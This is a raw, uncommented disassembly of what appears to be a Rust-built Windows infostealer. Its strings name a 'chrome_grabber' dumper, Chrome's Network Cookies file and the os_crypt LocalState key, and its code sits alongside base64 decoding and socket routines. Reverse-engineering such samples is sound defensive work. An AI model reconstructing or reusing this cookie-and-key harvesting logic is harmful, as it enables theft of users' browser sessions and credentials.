mov rcx, rax
call fcn.14001dc28
mov ecx, listen
mov rdx, r14
mov r8, qword [rsp + 0x128]
lea r9, [0x1402e9c48]
call fcn.1400775e0
movzx esi, byte [rbp + r15 - 0x10]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
mov r13, rbp
je 0x14003e6d0
movzx esi, byte [r13 + r15 - 0xf]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003e6de
movzx esi, byte [r13 + r15 - 0xe]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003e6ec
movzx esi, byte [r13 + r15 - 0xd]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003e6fa
movzx esi, byte [r13 + r15 - 0xc]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003e708
movzx esi, byte [r13 + r15 - 0xb]
movzx ebx, byte [rsi + r12]
cmp rbx, 0xff
je 0x14003e716
movzx esi, byte [r13 + r15 - 0xa]
mov rbp, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003e721
movzx esi, byte [rbp + r15 - 9]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003e72c
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r9
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dc28
mov ecx, reloc.WS2_32.dll_select
mov rdx, r14
mov r8, qword [rsp + 0x128]
lea r9, [0x1402e9c60]
call fcn.1400775e0
movzx esi, byte [rbp + r15 - 8]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
mov r13, rbp
je 0x14003e75a
movzx esi, byte [r13 + r15 - 7]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003e765
movzx esi, byte [r13 + r15 - 6]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003e770
movzx esi, byte [r13 + r15 - 5]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003e77b
movzx esi, byte [r13 + r15 - 4]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003e786
movzx esi, byte [r13 + r15 - 3]
movzx ebx, byte [rsi + r12]
cmp rbx, 0xff
je 0x14003e791
movzx esi, byte [r13 + r15 - 2]
mov r8, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003f113
movzx esi, byte [r8 + r15 - 1]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003f141
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r9
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dc28
mov rsi, qword [rsp + 0x78]
add rsi, 0x18
mov rdi, qword [rsp + 0x70]
add rdi, 0xfffffffffffffffc
add r15, 0x20
mov r13, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x358]
lea r8, [0x1402e9c00]
jmp 0x14003db76
xor esi, esi
cmp rbx, 8
jb 0x14003e220
add rbx, 0xfffffffffffffff8
add r15, 8
lea rbp, [0x1402e9a28]
mov r12, r15
mov qword [rsp + 0x250], rbx
lea r15, [r12 - 8]
cmp r15, rbx
jae 0x14003e21b
test r12, r12
je 0x14003f381
cmp r12, qword [rsp + 0x60]
ja 0x14003f397
lea rdx, [rsi + 8]
lea rax, [0x1402e9c90]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x78], rsi
mov rcx, rsi
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
call fcn.140001ebc
movzx esi, byte [r13 + r12 - 8]
movzx ecx, byte [rsi + rbp]
cmp rcx, 0xff
je 0x14003e4f8
movzx esi, byte [r13 + r12 - 7]
movzx r9d, byte [rsi + rbp]
cmp r9, 0xff
je 0x14003e50c
movzx esi, byte [r13 + r12 - 6]
movzx r11d, byte [rsi + rbp]
cmp r11, 0xff
je 0x14003e518
movzx esi, byte [r13 + r12 - 5]
movzx r10d, byte [rsi + rbp]
cmp r10, 0xff
je 0x14003e524
mov qword [rsp + 0x70], rdi
movzx esi, byte [r13 + r12 - 4]
movzx edi, byte [rsi + rbp]
cmp rdi, 0xff
je 0x14003e558
movzx esi, byte [r13 + r12 - 3]
movzx ebx, byte [rsi + rbp]
cmp rbx, 0xff
je 0x14003e55e
movzx esi, byte [r13 + r12 - 2]
mov r8, r13
movzx r13d, byte [rsi + rbp]
cmp r13, 0xff
je 0x14003e56c
movzx esi, byte [r8 + r12 - 1]
movzx r8d, byte [rsi + rbp]
cmp r8, 0xff
je 0x14003e57a
mov r14, rbp
shl rcx, 0x3a
shl r9, 0x34
or r9, rcx
shl r11, 0x2e
shl r10, 0x28
or r10, r11
or r10, r9
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r10
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dc28
mov rsi, qword [rsp + 0x78]
add rsi, 6
mov rdi, qword [rsp + 0x70]
dec rdi
add r12, 8
mov r13, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x250]
jmp 0x14003e09d
xor ebx, ebx
xor edi, edi
jmp 0x14003e7b2
mov rbp, qword [rsp + 0x60]
mov eax, 1
mov qword [rsp + 0x70], rdi
cmp rax, rdi
jae 0x14003e448
mov qword [rsp + 0x78], rax
mov rcx, r15
mov rdx, r13
mov r8, rbp
lea r9, [0x1402e9d58]
call fcn.1400775e0
mov r14, rax
mov rbp, rdx
lea r13, [rsi + 6]
lea rax, [0x1402e9d70]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, r13
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
call fcn.140001ebc
and qword [rsp + 0x270], 0
test rbp, rbp
je 0x14003f31a
movzx esi, byte [r14]
lea r8, [0x1402e9a28]
movzx r12d, byte [rsi + r8]
cmp r12, 0xff
je 0x14003e52e
cmp rbp, 1
je 0x14003f32a
movzx esi, byte [r14 + 1]
movzx ecx, byte [rsi + r8]
cmp rcx, 0xff
je 0x14003e4e7
cmp rbp, 2
jbe 0x14003f340
mov rbx, rdx
movzx esi, byte [r14 + 2]
movzx edx, byte [rsi + r8]
cmp rdx, 0xff
je 0x14003e4ec
cmp rbp, 3
je 0x14003f356
movzx esi, byte [r14 + 3]
movzx r9d, byte [rsi + r8]
cmp r9, 0xff
je 0x14003e4f2
cmp rbp, 4
jbe 0x14003f3ab
movzx esi, byte [r14 + 4]
movzx r10d, byte [rsi + r8]
cmp r10, 0xff
je 0x14003e506
cmp rbp, 5
je 0x14003f3c1
movzx esi, byte [r14 + 5]
movzx r11d, byte [rsi + r8]
cmp r11, 0xff
je 0x14003e512
mov qword [rsp + 0x128], r13
cmp rbp, 6
jbe 0x14003f3d7
movzx esi, byte [r14 + 6]
movzx edi, byte [rsi + r8]
cmp rdi, 0xff
je 0x14003e51e
cmp rbp, 7
je 0x14003f3ed
movzx esi, byte [r14 + 7]
movzx r8d, byte [rsi + r8]
cmp r8, 0xff
mov rbp, qword [rsp + 0x60]
je 0x14003e52a
mov r13, rax
shl r12, 0x3a
shl rcx, 0x34
or rcx, r12
shl rdx, 0x2e
or rdx, rcx
shl r9, 0x28
or r9, rdx
shl r10, 0x22
or r10, r9
shl r11, 0x1c
or r11, r10
shl edi, 0x16
or rdi, r11
shl r8d, 0x10
or r8, rdi
mov edx, 8
lea rsi, [rsp + 0x270]
mov rcx, rsi
call fcn.14001dc28
lea rax, [0x1402e9de8]
mov qword [rsp + 0x20], rax
mov edx, 6
xor ecx, ecx
mov r8, r13
mov r9, rbx
call fcn.140001ebc
lea rcx, [0x1402e9e00]
mov qword [rsp + 0x20], rcx
mov r9d, 6
mov rcx, rax
mov r8, rsi
call fcn.14007527c
add r15, 8
mov rax, qword [rsp + 0x78]
inc rax
mov rsi, qword [rsp + 0x128]
mov r13, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
jmp 0x14003e22a
mov rbx, rsi
lea r9, [0x1402e9ca8]
mov rcx, r15
mov rdx, r13
mov r8, rbp
call fcn.1400775e0
add rdx, rax
xor esi, esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
xor r10d, r10d
xor ebp, ebp
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
cmp rax, rdx
je 0x14003e5ff
lea r11, [rcx + 1]
movzx edi, byte [rax]
inc rax
cmp rdi, 0x3d
jne 0x14003e4b2
test cl, 2
je 0x14003e669
test r10d, r10d
cmove rbp, rcx
inc r10d
mov rcx, r11
jmp 0x14003e481
test r10d, r10d
jg 0x14003f257
lea rsi, [0x1402e9a28]
movzx esi, byte [rdi + rsi]
cmp rsi, 0xff
je 0x14003f264
inc r9
imul ecx, r9d, 0x3a
shl rsi, cl
or r8, rsi
mov esi, edi
mov rcx, r11
jmp 0x14003e481
inc r15
jmp 0x14003e52e
add r15, 2
jmp 0x14003e52e
add r15, 3
jmp 0x14003e52e
add r12, 0xfffffffffffffff8
xor ebx, ebx
mov rbp, r12
jmp 0x14003e79c
add r15, 4
jmp 0x14003e52e
or r15, 1
jmp 0x14003e562
add r15, 5
jmp 0x14003e52e
or r15, 2
jmp 0x14003e562
add r15, 6
jmp 0x14003e52e
or r15, 3
jmp 0x14003e562
add r15, 7
movabs r14, 0x8000000000000019
xor ebx, ebx
mov rbp, r15
xor edi, edi
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov r13, qword [rsp + 0x68]
jmp 0x14003e7b7
or r15, 4
jmp 0x14003e562
or r15, 5
xor ebx, ebx
mov rbp, r15
jmp 0x14003e79c
or r15, 6
xor ebx, ebx
mov rbp, r15
jmp 0x14003f11e
or r15, 7
xor ebx, ebx
mov rbp, r15
jmp 0x14003f14c
add r15, 0xffffffffffffffe0
jmp 0x14003e079
xor ebx, ebx
mov rbp, qword [rsp + 0x48]
jmp 0x14003e79c
mov rbp, qword [rsp + 0x48]
or rbp, 1
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 2
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 3
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 4
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 5
jmp 0x14003e79a
mov rax, qword [rsp + 0x48]
or rax, 6
jmp 0x14003e735
mov rax, qword [rsp + 0x48]
or rax, 7
jmp 0x14003e735
cmp r9, 9
jae 0x14003f511
mov eax, 0x1dd
bt eax, r9d
jae 0x14003f511
lea rax, [0x1402ede70]
mov eax, dword [rax + r9*4]
mov rdx, r8
mov ecx, eax
shl rdx, cl
test rdx, rdx
mov r11, qword [rsp + 0x360]
je 0x14003f162
lea rbp, [r15 + r9]
dec rbp
mov dil, 2
xor ebx, ebx
jmp 0x14003e7ad
mov rbp, qword [rsp + 0x48]
or rbp, 8
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 9
jmp 0x14003e79a
test r10d, r10d
cmovg rcx, rbp
add rcx, r15
mov sil, 0x3d
xor ebx, ebx
mov rbp, rcx
xor edi, edi
jmp 0x14003e7ad
mov rbp, qword [rsp + 0x48]
or rbp, 0xa
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0xb
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0xc
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0xd
jmp 0x14003e79a
mov rax, qword [rsp + 0x48]
or rax, 0xe
jmp 0x14003e735
mov rax, qword [rsp + 0x48]
or rax, 0xf
jmp 0x14003e735
mov rbp, qword [rsp + 0x48]
or rbp, 0x10
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x11
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x12
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x13
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x14
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x15
jmp 0x14003e79a
mov rax, qword [rsp + 0x48]
or rax, 0x16
jmp 0x14003e735
mov rax, qword [rsp + 0x48]
or rax, 0x17
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov r13, rbp
mov rbp, rax
jmp 0x14003e7b7
mov rbp, qword [rsp + 0x48]
or rbp, 0x18
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x19
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x1a
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x1b
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x1c
jmp 0x14003e79a
mov rbp, qword [rsp + 0x48]
or rbp, 0x1d
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov rdx, r13
call fcn.1400a3a56
mov rcx, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
test bl, bl
je 0x14003e7f5
mov rbp, qword [rsp + 0x90]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x14003e82e
mov esi, r13d
shr esi, 8
mov edi, r13d
jmp 0x14003e7fd
mov rdx, r13
call fcn.1400a3a56
movabs rax, 0x8000000000000018
mov qword [r12], rax
movabs rax, 0x8000000000000000
mov qword [r12 + 8], rax
mov byte [r12 + 0x10], dil
mov byte [r12 + 0x11], sil
mov qword [r12 + 0x18], rbp
jmp 0x14003f02e
mov qword [rsp + 0x70], rcx
lea r9, str.srcchrome_grabberdumper.rsUser_Data_Default_Network_Cookies_Default_Network_Cookies_cookies
mov r8d, 5
mov rcx, r13
mov rdx, rbp
call fcn.1400392b1
mov r8, rdx
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rax
call fcn.1400404f2
mov rax, qword [rsi]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rsp + 0x130], xmm0
mov rcx, qword [rsi + 0x18]
mov qword [rsp + 0x140], rcx
cmp rax, r14
jne 0x14003ea7e
movaps xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x1b0], rax
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, r15
call fcn.14003b345
mov rcx, qword [rsi]
mov r8, qword [rsi + 8]
mov r15, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp rcx, r14
jne 0x14003eaaf
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x38], r12
imul rax, rax, 0x48
mov qword [rsp + 0x50], rax
add rax, r15
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x110], r8
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
xor ebx, ebx
lea r14, [rsp + 0x2e0]
lea r12, [rsp + 0x130]
lea rbp, [rsp + 0x270]
mov r13, r15
mov qword [rsp + 0x58], r15
cmp qword [rsp + 0x50], rbx
je 0x14003ead4
lea rax, [r15 + rbx]
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], r13
mov ecx, 9
lea rdi, [rsp + 0x90]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003e9ff
cmp qword [rsp + 0xa0], 0
je 0x14003e9ff
mov ecx, 9
mov rdi, r14
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
mov rdx, r14
call fcn.140044d41
mov rsi, rbp
mov rcx, rbp
mov rdx, r12
xor r8d, r8d
call fcn.14004056c
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x270], rax
jne 0x14003ea16
mov rcx, r12
mov rdx, r14
call fcn.140044d41
mov r8, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x1b0]
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rcx, r12
mov rdx, r15
call fcn.14004056c
mov rcx, rsi
call fcn.140008936
jmp 0x14003ea2c
lea rcx, [rsp + 0x90]
call fcn.14000ad2c
lea r14, [rsp + 0x2e0]
jmp 0x14003ea75
mov ecx, 9
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.14000ad2c
mov rcx, r15
mov rdx, r12
call fcn.14000c0ff
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003ea65
mov ecx, 9
mov rdi, r13
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
add r13, 0x48
mov r12, r15
lea r14, [rsp + 0x2e0]
mov r15, qword [rsp + 0x58]
add rbx, 0x48
jmp 0x14003e93a
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x140]
mov qword [r12 + 0x18], rdx
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [r12 + 8], xmm0
mov qword [r12], rax
mov qword [r12 + 0x20], rcx
jmp 0x14003f021
mov rdx, qword [rsp + 0xa0]
mov qword [r12], rcx
mov qword [r12 + 8], r8
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], rax
mov qword [r12 + 0x20], rdx
jmp 0x14003f00c
lea rsi, [rsp + 0x100]
mov rax, qword [rsp + 0x78]
mov qword [rsi + 8], rax
sub r13, r15
mov ecx, 0x48
mov rax, r13
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.140015f4a
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x368], rax
mov qword [rsp + 0x370], r15
mov qword [rsp + 0x378], rdi
mov rcx, rsi
call fcn.14000853c
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003beab
mov rcx, qword [rsi]
mov r9, qword [rsi + 8]
mov r15, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
movabs rdx, 0x8000000000000019
cmp rcx, rdx
jne 0x14003ed0f
imul rax, rax, 0x70
mov qword [rsp + 0x50], rax
add rax, r15
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x110], r9
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x90]
xor r13d, r13d
lea r14, [rsp + 0x2e0]
lea r12, [rsp + 0x130]
lea rbp, [rsp + 0x270]
mov rbx, r15
mov qword [rsp + 0x58], r15
cmp qword [rsp + 0x50], r13
je 0x14003ed34
lea rax, [r15 + r13]
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], rbx
mov ecx, recvfrom
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003ec85
cmp qword [rsp + 0xa0], 0
je 0x14003ec85
mov ecx, recvfrom
mov rdi, r14
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
mov rdx, r14
call fcn.140044d85
mov rsi, rbp
mov rcx, rbp
mov rdx, r12
xor r8d, r8d
call fcn.1400408aa
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x270], rax
jne 0x14003ec9f
mov rcx, r12
mov rdx, r14
call fcn.140044d85
mov r8, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x1b0]
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rcx, r12
mov rdx, r15
call fcn.1400408aa
mov rcx, rsi
call fcn.140008919
jmp 0x14003ecb5
mov rcx, rdx
call fcn.140009acf
lea r14, [rsp + 0x2e0]
lea rdx, [rsp + 0x90]
jmp 0x14003ed06
mov ecx, recvfrom
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.140009acf
mov rcx, r15
mov rdx, r12
call fcn.14000c12e
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003ecee
mov ecx, recvfrom
mov rdi, rbx
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
add rbx, 0x70
lea rdx, [rsp + 0x90]
mov r12, r15
lea r14, [rsp + 0x2e0]
mov r15, qword [rsp + 0x58]
add r13, 0x70
jmp 0x14003ebc5
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], r9
mov qword [r8 + 0x10], r15
mov qword [r8 + 0x18], rax
mov qword [r8 + 0x20], rdx
jmp 0x14003effa
lea rsi, [rsp + 0x100]
mov rax, qword [rsp + 0x78]
mov qword [rsi + 8], rax
sub rbx, r15
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov rax, rbx
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.140015fa4
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x260], r15
mov qword [rsp + 0x268], rdi
mov rcx, rsi
call fcn.1400084f1
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003b8d9
mov rax, qword [rsi]
mov r8, qword [rsi + 8]
mov r13, qword [rsi + 0x10]
mov rsi, qword [rsi + 0x18]
movabs rcx, 0x8000000000000019
cmp rax, rcx
jne 0x14003efcd
shl rsi, 6
lea rax, [rsi + r13]
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x110], r8
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
xor ebx, ebx
lea r12, [rsp + 0x130]
lea r14, [rsp + 0x2e0]
lea rbp, [rsp + 0x270]
lea rdi, [rsp + 0x1e0]
mov r15, r13
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x50], r13
cmp rsi, rbx
je 0x14003f043
lea rax, [rbx + r13]
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], r15
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
cmp qword [rsp + 0xa0], 0
je 0x14003ef01
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x310], xmm3
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov rcx, r12
mov rdx, r14
call fcn.140044de0
mov r13, rbp
mov rcx, rbp
mov rdx, r12
xor r8d, r8d
call fcn.1400406fa
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x270], rax
jne 0x14003ef13
mov rcx, r12
mov rdx, r14
call fcn.140044de0
mov r8, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x1b0]
mov rcx, rdi
mov rdx, r12
call fcn.1400406fa
mov rcx, r13
call fcn.140008953
jmp 0x14003ef53
call fcn.14000a5da
lea rcx, [rsp + 0x90]
jmp 0x14003efc4
movups xmm0, xmmword [rsp + 0x270]
movups xmm1, xmmword [rsp + 0x280]
movups xmm2, xmmword [rsp + 0x290]
movups xmm3, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x210], xmm3
movaps xmmword [rsp + 0x200], xmm2
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x1e0], xmm0
mov rcx, r14
call fcn.14000a5da
mov r13, r12
mov rcx, r12
mov rdx, rdi
call fcn.14000c1e9
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003efb4
movups xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movups xmm3, xmmword [rsp + 0x160]
movups xmmword [r15 + 0x30], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
add r15, 0x40
lea rcx, [rsp + 0x90]
mov r12, r13
mov r13, qword [rsp + 0x50]
add rbx, 0x40
jmp 0x14003ee28
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x38]
mov qword [rdx], rax
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], rsi
mov qword [rdx + 0x20], rcx
lea rcx, [rsp + 0x258]
call fcn.14000b588
mov r13, qword [rsp + 0x68]
lea rcx, [rsp + 0x368]
call fcn.14000b5f3
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
call fcn.1400a3a56
mov rcx, qword [rsp + 0x70]
mov rdx, r13
lea rdi, [rsp + 0x100]
mov rax, qword [rsp + 0x60]
mov qword [rdi + 8], rax
sub r15, r13
shr r15, 6
mov rcx, rdi
call fcn.140015ef9
lea rsi, [rsp + 0x1c0]
mov rax, qword [rsp + 0x58]
mov qword [rsi], rax
mov qword [rsi + 8], r13
mov qword [rsi + 0x10], r15
mov rcx, rdi
call fcn.1400084af
mov r14, qword [rsp + 0x30]
lea rcx, [r14 + 0x18]
lea rdi, [rsp + 0x368]
mov rdx, rdi
call fcn.140015df8
lea rcx, [r14 + 0x30]
lea rbx, [rsp + 0x258]
mov rdx, rbx
call fcn.140015cf7
lea rcx, [r14 + 0x48]
mov rdx, rsi
call fcn.140015bf3
mov rax, qword [r14 + 0x28]
add qword [section..data], rax
mov rax, qword [r14 + 0x58]
add qword [reloc.WS2_32.dll_accept], rax
mov rcx, rsi
call fcn.14000b754
mov rcx, rbx
call fcn.14000b588
mov rcx, rdi
call fcn.14000b5f3
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
call fcn.1400a3a56
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
call fcn.1400a3a56
jmp 0x14003d230
mov rbp, qword [rsp + 0x48]
or rbp, 0x1e
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov r13, r8
jmp 0x14003e7b7
mov rbp, qword [rsp + 0x48]
or rbp, 0x1f
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
jmp 0x14003e544
xor edx, edx
mov r9d, 0x38
mov r15, qword [rsp + 0x30]
mov rsi, rbx
cmp edx, eax
jae 0x14003f1a2
cmp rsi, qword [rsp + 0x50]
jae 0x14003f4fd
mov ecx, r9d
and cl, 0x38
mov r10, r8
shr r10, cl
mov rcx, qword [rsp + 0x58]
mov byte [rcx + rsi], r10b
inc rsi
add edx, 8
add r9d, 0xfffffff8
jmp 0x14003f172
add rsi, r11
mov rax, qword [rsp + 0x90]
cmp rax, rsi
cmovb rsi, rax
mov qword [rsp + 0x90], rsi
mov dil, 3
mov bl, 1
jmp 0x14003cc36
mov rcx, qword [rsp + 0x1e8]
jmp 0x14003c992
movzx eax, al
cmp eax, 0x7d
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
lea rdx, [rsp + 0x1e0]
jne 0x14003f23b
mov qword [rdx], reloc.WS2_32.dll_select
jmp 0x14003f242
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 2
lea rcx, [rsp + 0x80]
call fcn.1402e2afc
jmp 0x14003f222
lea rdx, [0x1402ece80]
xor ecx, ecx
call fcn.1402dec7a
mov rsi, rax
jmp 0x14003c8e6
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 3
jmp 0x14003f2b9
mov qword [rdx], reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x80]
call fcn.1402e2afc
mov rcx, rax
jmp 0x14003c99c
add rbp, r15
mov sil, 0x3d
xor ebx, ebx
jmp 0x14003e67b
add rcx, r15
xor ebx, ebx
mov rbp, rcx
mov esi, edi
jmp 0x14003e67b
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 8
jmp 0x14003f2b9
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.1402dec24
mov rsi, rax
xor r14d, r14d
jmp 0x14003c9dd
mov rsi, qword [rsp + 0x1e8]
jmp 0x14003f2e2
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
lea rcx, [rsp + 0x80]
call fcn.1402e2afc
mov rcx, rax
jmp 0x14003c992
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.1402decf1
mov rsi, rax
xor r14d, r14d
jmp 0x14003c9aa
lea rcx, str.Overflow_when_calculating_number_of_chunks_in_inputC:UsersTwirlanta.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.0_srcdecode.rs
lea r8, [0x1402efac0]
mov edx, 0x33
call fcn.1402dfc40
lea rcx, str.Overflow_when_calculating_output_buffer_length
lea r8, [0x1402e9db8]
mov edx, 0x2e
call fcn.1402dfc40
lea r8, [0x1402e9b28]
xor ecx, ecx
